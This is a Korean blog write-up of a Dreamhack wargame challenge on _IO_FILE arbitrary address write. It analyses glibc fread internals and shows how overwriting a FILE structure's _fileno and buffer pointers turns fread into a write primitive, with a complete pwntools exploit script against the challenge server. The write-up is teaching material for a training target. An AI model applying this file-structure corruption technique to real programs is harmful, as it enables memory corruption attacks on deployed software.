security/포너블 - dreamhack

[Dreamhack Wargame] _IO_FILE Arbitrary Address Write

민사민서 2023. 6. 23. 23:08

fread() 함수 분석

  • _IO_file_xsgetn 함수에서 fp->_IO_buf_base 존재하는지 / fp->_IO_buf_end - fp->_IO_buf_base 값이 인자로 전달된 n보다 큰지 검사
  • _IO_new_file_underflow 함수에서 fp->_flags 존재하는지 / _IO_NO_READS 플래그는 OFF되어있는지 검사

 

=> fp->_fileno, fp->_IO_buf_base , fp->_IO_buf_end - fp->_IO_buf_base 를 인자로 하여 read syscall 호출

문제 소스코드

int main() {
  FILE *fp;
  char file_buf[1024];
  
  init();
  fp = fopen("/etc/issue", "r");
  printf("Data: ");
  read(0, fp, 300);
  fread(file_buf, 1, sizeof(file_buf)-1, fp);
  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF) 
    read_flag();

  fclose(fp);
}

- 전역변수 overwrite_me를 올바른 값으로 덮어써서 read_flag() 실행되게 하는 것이 목표

- 이렇게 _IO_FILE 구조체를 덮어쓰자

fp->_fileno = 0
fp->_IO_buf_base = overwrite_me
fp->_IO_buf_end = overwrite_me+0x400  (sizeof(file_buf)-1 보다는 커야 하므로)

 

_flags 값으로 무엇을 넣어야하는가?

- 사실 플래그 값 없이 매직넘버만으로도 exploit 잘 되긴 한다
- 그래도 "r"일 때 _flags 세팅값 궁금해서 우분투 18.04 도커 가상환경에서 아래 예제코드로 테스트해보았다

#include <stdio.h>
#include <string.h>
#include <unistd.h>
void file_info(FILE *buf) {
  printf("_flags: %x\n", buf->_flags);
  printf("_fileno: %d", buf->_fileno);
}
int main() {
  FILE *fp;
  char buf[256];
  strcpy(buf, "THIS IS TESTFILE!");
  fp = fopen("testfile","r");
  fwrite(buf, 1, strlen(buf), fp);
  file_info(fp);
  fclose(fp);
  return 0;
}
_flags: fbad24a8 // _IO_IS_FILEBUF , _IO_TIED_PUT_GET, _IO_LINKED, _IO_ERR_SEEN, _IO_NO_WRITES
_fileno: 3

* 드림핵 모범답안에는 0xfbad2488 사용하더라

exploit 코드

from pwn import *

p = remote("host3.dreamhack.games", 12372)
overwriteme = 0x6014a0

pay = p64(0xfbad0000)
pay += p64(0)*6
pay += p64(overwriteme) + p64(overwriteme+0x400)
pay += p64(0)*5
pay += p64(0) # _fileno = stdin(0)

p.sendafter("Data: ", pay)
p.send(p64(0xDEADBEEF)+b'\x00'*0x3F7)

p.interactive()

- read input 보낼 때 dummy bytes를 붙여 sizeof(file_buf)-1 = 0x3FF 이상 보내야 한다

 

cf) pwntools 사용 시 LD_PRELOAD 옵션 세팅

p = process('./bypass_valid_vtable', env={'LD_PRELOAD':'./libc.so.6'})

- 이런 식으로 LD_PRELOAD 세팅하여 특정 라이브러리를 로드하게 만들 수 있다.

- 로컬에서도 서버 환경 바이너리의 옵셋 동일하게 분석 가능...한 줄 알았지만

https://stackoverflow.com/questions/66098387/how-to-run-an-old-binary-on-modern-gnu-linux-distribution

그냥 포기하고 도커 환경에서 분석하자.